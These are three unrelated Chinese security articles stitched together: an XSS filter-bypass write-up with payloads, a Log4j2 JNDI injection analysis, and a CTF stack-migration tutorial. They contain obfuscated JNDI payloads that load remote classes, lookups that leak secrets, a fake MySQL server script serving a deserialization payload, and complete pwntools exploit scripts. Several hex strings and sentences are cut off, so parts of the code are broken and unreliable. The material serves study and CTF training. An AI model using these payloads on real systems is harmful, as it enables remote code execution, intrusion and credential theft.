某SRC BypassXSS
声明: 挖掘的案例均已提交至漏洞平台并已经修复,本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。 先是在一个某SRC千万级APP,摸到其论坛,瞎逛,啥都去点一遍,发现一个发表感想的地方 尝试打了一个<h1>whskxk</h1>whskxk,发送之后比较一下字体会进行变化,猜测此处存在XSS。 刚开始用svg  iframe标签  form表单 a标签带JavaScript,details ontoggle 尝试携带xss的执行语句,发现发送之后全部被过滤掉,并且全部被过滤为空。 顺带一提,如果直接在发表评论的文本框直接打payload,会被一个<p>标签和<br>标签包住,导致打入的payload会被以文本的形式输出,这边可以利用Burpsuite抓取请求包,把里面的<p>和<br>标签全删掉,注意要全删掉 不能就删个<br>标签 不然上传服务器的时候会请求格式错误。 后续尝试了多种标签 发现唯独img标签没有被过滤掉,猜测应该是本来这个论坛就支持图片插入,支持远程加载图片,导致让我们有机可乘。如图所示↓ 尝试打个<img src=1>,这个目的是为了看看系统有没有判断src来源必须是http协议或者https协议,结果显而易见没有进行来源判断,前端成功显示payload. 发现这些居然都没过滤 直接简单无脑打payload:<img src=1 onerror=alert(1)>,发现onerror后面全部被过滤为空。 当时以为onerror被过滤,替换了oneload,onpageshow,onmouseover,onbounce,onstart等 Tips:onstart,onbounce当时这两个本地调试的时候,就只有火狐能弹,chrome弹不出来。 当时第一感觉应该是空格的问题导致他们被分割 系统牛马的读取方式我也猜不到,于是尝试性的去把src=1和onerror之间的空格改成+看看会不会解析。 payload:<img+src=1+onerror=alert(1)> 居然发现!虽然onerror事件前面的+被没解析为空格但是确切发现了是空格的问题,同时还发现了()被url编码了一遍 空格过滤+圆括号过滤!简单有手就行. 为了万无一失重组一下payload:<img/src=1/onerror=alert`1`>,但是又发现这个src和onerror之间的/的又没有被解析为空格。看到“1/onerror=`1`”是整个双引号包住了,当作一个整体成为了src的来源值,所以onerror事件不会被执行 小彩蛋:当时由于这个系统每天只能回帖15次 我找F12群里的师傅们帮忙试几个payload, 我一直在编辑里面捣鼓毕竟没次数了,后来发现甘栗酿编辑怎么样也弹不了,重新回复发帖就可以弹。这边还过滤了alert但是Alert没过滤 但话又说回来编辑功能点这边Alert不会被解析所以导致编辑处弹不了窗。(其实还可以用别的弹窗事件,当是感觉Alert也会弹的,就没去尝试别的) 当时我这边的思路就是利用“再去尝试闭合掉,把前面的“和src=1后面的自己输入转义之后的”闭合,接着遇到了空格被正常解析 ,onerror后面的又被“”包住,且本地调试是包住带着反引号也是可以执行的 当时发现这个回显我有点迷糊所以本地调试了一下 发现是可以弹的,但是注意!我当时是在编辑里面改的!不是直接重新发帖,回过头发现这个payload 在发表评论是可以弹出来的!!! 后来就在群里讨论 ,讨论完就继续试。突然一声QQ提示音 打开一看尼玛出xss了 当时看这个payload还是有点糊涂,仔细理解了一边 和我自己当时琢磨的差不多 想去过滤为空重新组合一遍完整的,但是这个系统的过滤很奇葩 每当组合起来过滤之后的东西就不是自己想要的。同时由于自己在编辑里面测 导致什么都弹不了窗口。直到12点了 可以重新评论 打入自己刚开始在编辑处怎么也弹不出来的payload: <img/src=#\"onerror=alert`whskxk`>成功弹窗。 我觉得刑,师傅们在测试的尽量弹console.log,由于我这边可以编辑修改掉 我图方便就直接在网页弹框了。
Log4j2 JNDI注入分析笔记
前言 Apache Log4j2是一款优秀的Java日志框架,最近爆出了一个jndi注入的漏洞,影响面非常广,各大厂商都被波及。Log4j2作为日志记录的第三方库,被广泛得到使用,这次主要分享一下,最近的一些调试记录。 JNDI简介 JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。本质上就是一个接口,ND代表的Naming 和 Directory,分别代表Naming Service(名称服务)和Directory Service(目录服务)。参考https://evilpan.com/2021/12/13/jndi-injection/ 名称服务就是通过名称查找实际对象的服务,例如:通过域名寻找ip地址即DNS服务、文件系统、以及LDAP( http://www.ietf.org/rfc/rfc2251.txt)即轻量级目录访问协议都是名称服务,不同的是LDAP(http://www.ietf.org/rfc/rfc2251.txt(https://datatracker.ietf.org/doc/rfc4511/) )是一个协议,是和HTTP一样是通用的,而不止局限于JAVA.目录服务是名称服务的一种拓展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(attributes)信息。由此,我们不仅可以根据名称去 JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装,如下图所示: 如上JNDI为不同的目录服务提供统一的操作接口 JDK 中包含了下述内置的目录服务: RMI: Java Remote Method Invocation,Java 远程方法调用; LDAP: 轻量级目录访问协议; CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services); RMI RMI(Remote Method Invocation)即java的远程方法调用,Java RMI是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,即JAVA的RPC机制。关于RMI需要注意以下两点: RMI的传输是基于反序列化的。 对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于服务端classpath(不在classpath的情况,可以看后面RMI动态加载类相关部分)中的可序列化类来反序列化恢复对象。 更多可以参考:https://paper.seebug.org/1091/#java-rmi_1 LDAP LDAP即是JNDI SPI支持的Service Provider之一,但同时也是协议。是早期 X.500 DAP (目录访问协议) 的一个子集,因此有时也被称为 X.500-lite。LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。 LDAP 的目录信息是以树形结构进行存储的,在树根一般定义国家(c=CN)或者域名(dc=com),其次往往定义一个或多个组织(organization,o)或组织单元(organization unit,ou)。一个组织单元可以包含员工、设备信息(计算机/打印机等)相关信息。 一些定义: 漏洞环境 pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">   <modelVersion>4.0.0</modelVersion>   <groupId>org.example</groupId>   <artifactId>log4j-test</artifactId>   <version>1.0-SNAPSHOT</version>   <dependencies>       <dependency>           <groupId>org.apache.logging.log4j</groupId>           <artifactId>log4j-api</artifactId>           <version>2.9.0</version>       </dependency>       <dependency>           <groupId>org.apache.logging.log4j</groupId>           <artifactId>log4j-core</artifactId>           <version>2.9.0</version>       </dependency>   </dependencies> </project> log4jTest.java import org.apache.logging.log4j.LogManager; public class log4jTest {   //获取日志记录器Logger,名字为本类类名   private static final Logger logger = LogManager.getLogger();   public static void main(String[] args) {       for(int i=0;i<2;i++){           logger.error("${jndi:ldap://$xxxx}");       }     } } 漏洞分析 产生原因 Log4j2默认提供了Lookups功能,查找提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrLookup.html接口的特定类型的插件。其中包括了对JNDI Lookup的支持,但是却未对传入内容进行任何限制,导致攻击者可以JNDI注入,远程加载恶意类到应用中,从而RCE。 流程分析 这里使用idea进行动态调试。 首先f7跟进error方法: 到达isEnabled,这里有个限制就是log 的level等级必须大于或等于配置的level,在测试的几个版本中,不配置的情况下默认为ERROR,所以info之类的很多无法触发漏洞,log4j2中, 共有8个级别,从低到高为:ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF。 在 org.apache.logging.log4j.core.pattern.MessagePatternConverter \#format 处会对this.config和this.noLookups进行判断,然后循环读取,当遇到${ 就会触发 config.getStrSubstitutor().replace(event, value) 对value进行进一步的格式化处理。 跟进replace函数: 继续跟进substitute函数,这里主要是递归去处理我们传入的内容,其中prefixMatcher和suffixMatcher分别匹配${和}。 配置到${和}之后,就会把括号内的值赋给varName: 在374行会varName会作为参数传给resolveVariable: 然后一路跟下去,resolveVariable方法这里则直接根据不同的协议选择相应的lookup逻辑进行解析执行,通过log4j-core 自带的JndiLookup进行处理JNDI URL, getVariableResolver()获取支持的协议{date, ctx, main, sys, env, sd, java, marker, jndi, jvmrunargs, bundle, map, log4j},不同的版本支持的协议略有不同,比如2.14.1支持的是{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, 最终在jndiManager类,用java原生的javax.naming.InitialContext.lookup 去访问,这一步是经典的JNDI注入,从而造成RCE。 WAF 绕过 由于整个处理过程是递归进行的,遇到${}就会处理一次,最后会把处理好的内容拼接在一起,然后传值给resolveVariable方法,然后根据不同的协议进行进入相应的lookup方法,并且还内置一些分隔符的处理逻辑,例如:":-",造成一些绕过。 可以构造这样的payload: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:1389/Exploit.class} 当匹配到":-"会进行下面的处理,会把匹配${}转化为字符数组,然后对这个数组进行遍历,遇到":-"就会使用substring函数把":-"之前的内容包括给":-"截掉,这里":-"不分先后,例如"-:",因为是作为一个数组匹配的,只要在一起就行。所以便有了千奇百怪的绕waf手法。 substitute会递归处理每一个${},第一轮"::-j"会被换为"j"。 所以还可以用lower, upper等支持的协议进行一些绕过,例如: ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc} 但是部分版本支持的协议不太一样,这点需要注意一下。部分版本不支持lower, upper等协议,例如:2.9.0 外带敏感信息 在不能RCE的情况下,可以通过dnslog等方式外带一些敏感信息,例如 ${hostName} ${sys:user.dir} ${sys:java.version} ${java:os} ......... 更多可以参考官方的https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html#JndiLookup支持的协议用法 @浅蓝师傅发现了危害更大一种利用方式,就是利用Bundle协议读取项目配置文件来获取敏感信息,例如读取 springboot 的application.properties 配置文件获取 redis、mysql 的配置项等敏感信息: ${bundle:application:spring.datasource.password} RCE的一些限制 JNDI注入有很多种不同的利用pyload,但是都存在一些限制条件。 JDK 中默认支持的 JNDI 自动协议转换以及对应的工厂类如下所示: RMI 从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。从JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.c LDAP 2018年10月,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false, 手动开启上面的属性,可以通过代码实现,如下: System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); 绕过JDK版本限制 绕过一般需要利用受害者CLASSPATH的类,依赖于本地的Gadget,常用的有下面两种手法: 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。 第一种绕过手法常用的是org.apache.naming.factory.BeanFactory这个类,因为它存在于Tomcat依赖包中,所以应用比较广泛。org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。 第二种绕过手法需要利用一个本地的反序列化利用链(如CommonsCollections),然后可以结合Fastjson等漏洞入口点和JdbcRowSetImpl进行组合利用。 log4j1.x有限制的RCE log4j 1.x 已停产,不会发布修复版本。目前大多使用的都是log4j2.x,但是还有少部分老旧业务使用的是1.x。这里的利用方式,比较鸡肋,所以只是记录一下,结合MySQL JDBC的利用方式。这里跟JNDI没啥关系。 环境搭建 log4j.properties log4j.rootLogger=DEBUG,database   log4j.appender.database=org.apache.log4j.jdbc.JDBCAppender   #数据库地址 log4j.appender.database.URL=jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor   log4j.appender.database.driver=com.mysql.jdbc.Driver   log4j.appender.database.user=root log4j.appender.database.password=root log4j.appender.database.sql=INSERT INTO log4j (message) VALUES('%d{yyyy-MM-dd HH:mm:ss} [%5p] - %c - %m%n')   #log4j.appender.database.layout=org.apache.log4j.PatternLayoutlog4j.propertieslog4j.properties pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">   <modelVersion>4.0.0</modelVersion>   <groupId>org.example</groupId>   <artifactId>log4j-test</artifactId>   <version>1.0-SNAPSHOT</version>   <dependencies>       <dependency>           <groupId>log4j</groupId>           <artifactId>log4j</artifactId>           <version>1.2.17</version>       </dependency>       <dependency>           <groupId>commons-collections</groupId>           <artifactId>commons-collections</artifactId>           <version>3.2.1</version>       </dependency>       <dependency>           <groupId>mysql</groupId>           <artifactId>mysql-connector-java</artifactId>           <version>8.0.12</version>       </dependency>   </dependencies> </project> log4jTest.java import org.apache.log4j.Logger; import javax.naming.NamingException; public class log4jTest {   //获取日志记录器Logger,名字为本类类名   public static void main(String[] args) throws NamingException {           //PropertyConfigurator.configure ("/Users/panda/Downloads/log4jDemo/src/main/resources/log4j.properties");             Logger logger = Logger.getLogger(log4jTest.class);             logger.error("error");     } } 漏洞分析 知识点 JDBC简介 JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。 常用配置格式: MYSQL JDBC反序列化漏洞原理 BlackHat Europe 2019 的议题https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf公布了MYSQL JDBC的反序列化利用链,原理是在使用MYSQL JDBC连接数据库的时候,会执行几个内置的sql查询语句,其中SHOW SESSION STATUS和SHOW COLLATION两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作,如果攻击者搭建恶 mysql恶意服务器 # coding=utf-8 import socket import binascii import os greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400" response_ok_data="0700000200000002000000" def receive_data(conn):   data = conn.recv(1024)   print("[*] Receiveing the package : {}".format(data))   return str(data).lower() def send_data(conn,data):   print("[*] Sending the package : {}".format(data))   conn.send(binascii.a2b_hex(data)) def get_payload_content():   #file文件的内容使用ysoserial生成的 使用规则:java -jar ysoserial [Gadget] [command] > payload   file= r'payload'   if os.path.isfile(file):       with open(file, 'rb') as f:           payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')       print("open successs")   else:       print("open false")       #calc       payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e67   return payload_content # 主要逻辑 def run():   while 1:       conn, addr = sk.accept()       print("Connection come from {}:{}".format(addr[0],addr[1]))       # 1.先发送第一个 问候报文       send_data(conn,greeting_data)       while True:           # 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok           receive_data(conn)           send_data(conn,response_ok_data)           #其他过程           data=receive_data(conn)           #查询一些配置信息,其中会发送自己的 版本号           if "session.auto_increment_increment" in data:               _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e0               send_data(conn,_payload)               data=receive_data(conn)           elif "show warnings" in data:               _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a652               send_data(conn, _payload)               data = receive_data(conn)           if "set names" in data:               send_data(conn, response_ok_data)               data = receive_data(conn)           if "set character_set_results" in data:               send_data(conn, response_ok_data)               data = receive_data(conn)           if "show session status" in data:               mysql_data = '0100000102'               mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'               mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'               # 为什么我加了EOF Packet 就无法正常运行呢??               # 获取payload               payload_content=get_payload_content()               # 计算payload长度               payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)               payload_length_hex = payload_length[2:4] + payload_length[0:2]               # 计算数据包长度               data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)               data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]               mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex               mysql_data += str(payload_content)               mysql_data += '07000005fe000022000100'               send_data(conn, mysql_data)               data = receive_data(conn)           if "show warnings" in data:               payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441               send_data(conn, payload)           break if __name__ == '__main__':   HOST ='0.0.0.0'   PORT = 3306   sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间   sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)   sk.bind((HOST, PORT))   sk.listen(1)   print("start fake mysql server listening on {}:{}".format(HOST,PORT))   run() 可以用ysoserial生成CC7的payload,然后运行恶意MySQL服务器进行监听。 例如: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 calc > payload 放在mysql服务器的py文件同级目录,并且运行mysql服务器。 流程分析 log4j三大组件为Logger、Appender、Layout。Logger负责收集处理日志记录,Layout负责日志输出的形式,而Appender负责配置日志的输出位置和方式。 其中Appender可以配置的一种方式为数据库输出(JDBCAppender),通过JDBC链接把日志输出到数据库中,配置时需要配置JDBC驱动,连接字符串,用户名,密码以及SQL语句。 我们直接把断点打在JDBCAppender.java的getConnection()处,因为这也是MYSQL JDBC反序列化的执行点。 调用链如下: 成功执行: 但是正常情况下我们是无法控制log4j的配置文件的,所以是比较鸡肋的,但是一些可以动态配置服务的,例如nacos,也许可以找到利用方式。 但是不知道是否支持log4j1.x,:)。 参考: https://paper.seebug.org/1091/https://paper.seebug.org/942/https://githubmemory.com/repo/Ea3i0n/JNDIExploithttps://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.htmlhttps://evilpan.com/2021/12/13/jndi-injection/https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg
一篇文章玩明白Stack-migration
前置知识 Intel汇编,栈溢出利用,基础rop链 Stack_migration介绍 当我们发现存在栈溢出漏洞,但是溢出字节非常小,比如0x10的时候我们就需要利用栈迁移,将栈迁移置足够大的区段去编写rop链 以达到我们利用的目的。为了方便教学,这里以CTF赛题的形式进行教学。 典例一 题目给出便于利用的bss段地址或栈地址 这里我用我出给自己校赛的一道题作为讲解,给出了栈的地址 int __cdecl main(int argc, const char **argv, const char **envp) {  char buf[208]; // [rsp+0h] [rbp-D0h] BYREF  puts(&s);  puts(    "系统说罢,便将你渡入一方天地之中,只见天地之间一轮金日悬于九天之上,而在你面前是万里群山。\n");  puts(    "钝日斩星剑就在这些山里,自己慢慢找吧,不过本系统可不想等太久,这个明神瞳就送你了!\n");  printf("小子拿好了 :%p", buf);  puts(&byte_400818);  read(0, buf, 0xE0uLL);  return puts("神兵已得,接下来,就去手刃你的第一个仇人吧,万阳帝仙!\n"); } 这里是刚好溢出了0x10,并且给出了当前变量所处的栈地址,对于这种题目,都是直接套路杀的,而且这题没有开启canary和pie 我们只需要和往常一样先编写好rop链,再利用leave命令把栈迁移到到所给的bss段或者栈地址上 payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave) 第一次是泄露libc,第二次就是直接getshell exp # -*- coding: UTF-8 –*- from pwn import * r=process('./1') elf=ELF('./1') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') #context.log_level='debug' puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] pop_rdi=0x0000000000400663 leave=0x4005F8 main=0x0400577 ret=0x000000000040044e r.recvuntil('小子拿好了 :') leak=int(r.recv(14),16) log.success('leak:'+hex(leak)) payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave) r.recvuntil("搬山之术?\n") r.send(payload) r.recvuntil('神兵已得,接下来,就去手刃你的第一个仇人吧,万阳帝仙!\n') (r.recvuntil('\n')) leak1=u64(r.recv(6).ljust(8,'\x00')) log.success('leak1:'+hex(leak1)) base=leak1-0x080aa0 onegadget=[0x4f3d5,0x4f432,0x10a41c] sys=base+0x04f550 one=onegadget[2]+base sh=0x1b3e1a+base r.recvuntil('小子拿好了 :') leak2=int(r.recv(14),16) log.success('leak2:'+hex(leak2)) payload1='a'*8+p64(pop_rdi)+p64(sh)+p64(ret)+p64(sys) #payload1='a'*8+p64(one) payload1+='a'*(0xd0-len(payload1))+p64(leak2)+p64(leave) r.send(payload1) r.interactive() 典例二 题目开启了canary并且没有给定合理的地址 对于这种题目实际上只是迁移的地点要自己进行gdb调试(摁调)还有就是leave指令稍微加了点细节从read函数那下手 本质是和典例一没差别的,都是属于栈迁移。这里用一道自己写的demo作为教学 int __cdecl main(int argc, const char **argv, const char **envp) {  int i; // [rsp+Ch] [rbp-24h]  char v6[24]; // [rsp+10h] [rbp-20h] BYREF  unsigned __int64 v7; // [rsp+28h] [rbp-8h]  v7 = __readfsqword(0x28u);  init(argc, argv, envp);  for ( i = 0; i <= 24; ++i ) {    if ( (unsigned int)read(0, &v6[i], 1uLL) != 1 || v6[i] == 10 )   {      v6[i] = 0;      break;   } }  printf("your in put%s\n", v6);  puts("give me another worlds!");  pwnme();  return __readfsqword(0x28u) ^ v7; } 在printf("your in put%s\n", v6);这可以泄露canary,我们接着去看pwnme函数 unsigned __int64 pwnme() {  char buf[24]; // [rsp+0h] [rbp-20h] BYREF  unsigned __int64 v2; // [rsp+18h] [rbp-8h]  v2 = __readfsqword(0x28u);  read(0, buf, 0x30uLL);  return __readfsqword(0x28u) ^ v2; } 同样溢出0x10,但是这次没有给定便于利用的题目,所以我们直接自己手动寻找,用ida ctrl+s 寻找到bss段的起始地址 一般利用地址都是大于bss起始地址最少0x300,具体如何要看自己的题目情况去调试 这里最主要的一点是接下来要讲的关于read函数的部分汇编利用 .text:00000000004006FE                 lea     rax, [rbp+buf] .text:0000000000400702                 mov     edx, 30h ; '0' ; nbytes .text:0000000000400707                 mov     rsi, rax       ; buf .text:000000000040070A                 mov     edi, 0         ; fd .text:000000000040070F                 mov     eax, 0 .text:0000000000400714                 call    _read 正常像典例一我们不去开启canary,构造一个rop链最少都要0x20,这里开启了canary而且题目所给的变量长度只有0x20,可读入0x30 rop链构造完canary都不用填返回地址直接寄了,所以这里的要巧妙利用read的leave。 pl = 'a'*24+p64(canary)+p64(bss)+p64(reread) 第一次先选中心仪的bss段把栈迁移上去,由于我们执行的汇编是在.text:00000000004006FE lea rax, [rbp+buf] 当我们栈迁移完了此时还可以有一次读入的机会,这时候的读入地址就是我们选择的bss段地址。 此时我们就可以写入rop链达到libc泄露的目的 pl = p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(canary)+p64(bss+0x18)+p64(reread) pl = pl.ljust(24,'\x00') 得到libc之后直接恢复栈 pl = p64(0x400831)+p64(0)+p64(0x40083b)+p64(canary)+p64(0x6015d8)+p64(leave) sleep(0.1) s(pl) 第一个是rip的地址第二个是用来填充rbp第三个是填充返回地址的,0x6015d8是通过调试之后得知的最后恢复栈的时候 命令的起始地址 pwndbg> stack 30 00:0000│ rsp 0x6015c8 —▸ 0x400719 (pwnme+50) ◂— nop     01:0008│ rsi 0x6015d0 ◂— 0x0 ... ↓        2 skipped 04:0020│     0x6015e8 ◂— 0x27ce95767da5b400 05:0028│ rbp 0x6015f0 ◂— 0x0 06:0030│     0x6015f8 —▸ 0x40083b (main+171) ◂— nop     07:0038│     0x601600 ◂— 0x0 08:0040│     0x601608 —▸ 0x40083b (main+171) ◂— nop     09:0048│     0x601610 ◂— 0x27ce95767da5b400 0a:0050│     0x601618 —▸ 0x6015d8 ◂— 0x0 0b:0058│     0x601620 —▸ 0x40072e (pwnme+71) ◂— leave   0c:0060│     0x601628 ◂— 0x0 ... ↓        17 skipped 我们可以继续结合汇编来看 .text:0000000000400831                 mov     eax, 0 .text:0000000000400836                 call    pwnme .text:000000000040083B                 nop .text:000000000040083C                 mov     rax, [rbp+var_8] .text:0000000000400840                 xor     rax, fs:28h .text:0000000000400849                 jz      short locret_400850 .text:000000000040084B                 call    ___stack_chk_fail rip执行mov eax, 0返回地址在.text:000000000040083B nop把canary填充做一个修补(第一次泄露的时候已经破坏了) 恢复完栈帧我们利用恢复的时候顺带迁移会去的bss段再去写入onegadget就直接getshell了 exp import time from pwn import * context.arch = 'amd64' context.log_level = 'debug' r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) close = lambda : p.close() debug = lambda : gdb.attach(p) shell = lambda : p.interactive() p = process('./Stack_migration') #p=remote('101.43.94.145','28079') elf = ELF('./Stack_migration') libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] reread = 0x4006FE leave = 0x40072E bss = 0x601600 rdi = 0x00000000004008c3 start = 0x400600 s('a'*25) ru('a'*25) canary = u64('\x00'+rx(7)) success(hex(canary)) #p.recv() pl = 'a'*24+p64(canary)+p64(bss)+p64(reread) p.recv() s(pl) pl = p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(canary)+p64(bss+0x18)+p64(reread) pl = pl.ljust(24,'\x00') sleep(0.1) s(pl) pl = p64(0x400831)+p64(0)+p64(0x40083b)+p64(canary)+p64(0x6015d8)+p64(leave) sleep(0.1) s(pl) base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['puts'] ogg = base+0x4f3d5 pl = 'a'*24+p64(canary)+p64(0)+p64(ogg) s(pl) # debug() shell() 典例三 C++类的栈迁移 虽然线上赛不一定见得到,但是线下赛c++的趋势已经越来越明显了,不学c++你会失去很多你本该拿到的东西 这个也是我自己整理的一个demo,先看ida int __cdecl main(int argc, const char **argv, const char **envp) {  __int64 v3; // rax  __int64 v4; // rax  __int64 v5; // rax  __int64 v6; // rax  char s2[32]; // [rsp+0h] [rbp-20h] BYREF  init();  do {    v3 = std::operator<<<std::char_traits<char>>(           &std::cout,           "The new year is coming, and the naughty beast has come to the world again. As a brave pwner, please send it home");    std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);    v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Little ones, throw up your firecrackers!!!!!!!");    std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);    std::operator>><char,std::char_traits<char>>(&std::cin, name);    if ( strlen(name) > 0x10 )   {      v5 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_4020B8);      std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);      exit(0);   }    getchar();    v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Do you wanna try again?");    std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);    std::istream::get((std::istream *)&std::cin, s2, 0x30LL); }  while ( !strcmp("Y", s2) );  return 0; } 不熟悉的人看可能感觉很乱,其实有些东西是可以不看的例如 std::operator<<<std::char_traits<char>> std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>); 这些不过是c++自己的一些数据处理,我们要关注的是 std::operator<<<std::char_traits<char>>这个函数里面的参数, 例如下面这个 std::istream::get((std::istream *)&std::cin, s2, 0x30LL); cin输入,往s2输入0x30大小的内容,类比可以看出输出的语句 顺带提一嘴,c++的输入输出都是靠std::operator%3C%3Cstd::char_traits%3Cchar<<<>这个函数实现的,实现内容区别就在于第一个参数 cout就是输出cin就是输入,后面的参数再添加对应的就是cout的内容或者cin的内容及大小 OK 我们回归正题,分析程序可以得知 v5 = std::operator%3C%3Cstd::char_traits%3Cchar<<<>(&std::cout, &unk_4020B8); 可能存在栈溢出cin没有做大小限制,但是他是在往bss段读入东西,所以没有溢出的可能性 std::istream::get((std::istream *)&std::cin, s2, 0x30LL); 这里溢出了0x10,可以栈迁移 那么结合起来就是先往bss段构造rop,利用栈迁移执行就行了,至于if ( strlen(name) > 0x10 )这个检测,我们直接填入0字节就可以绕过 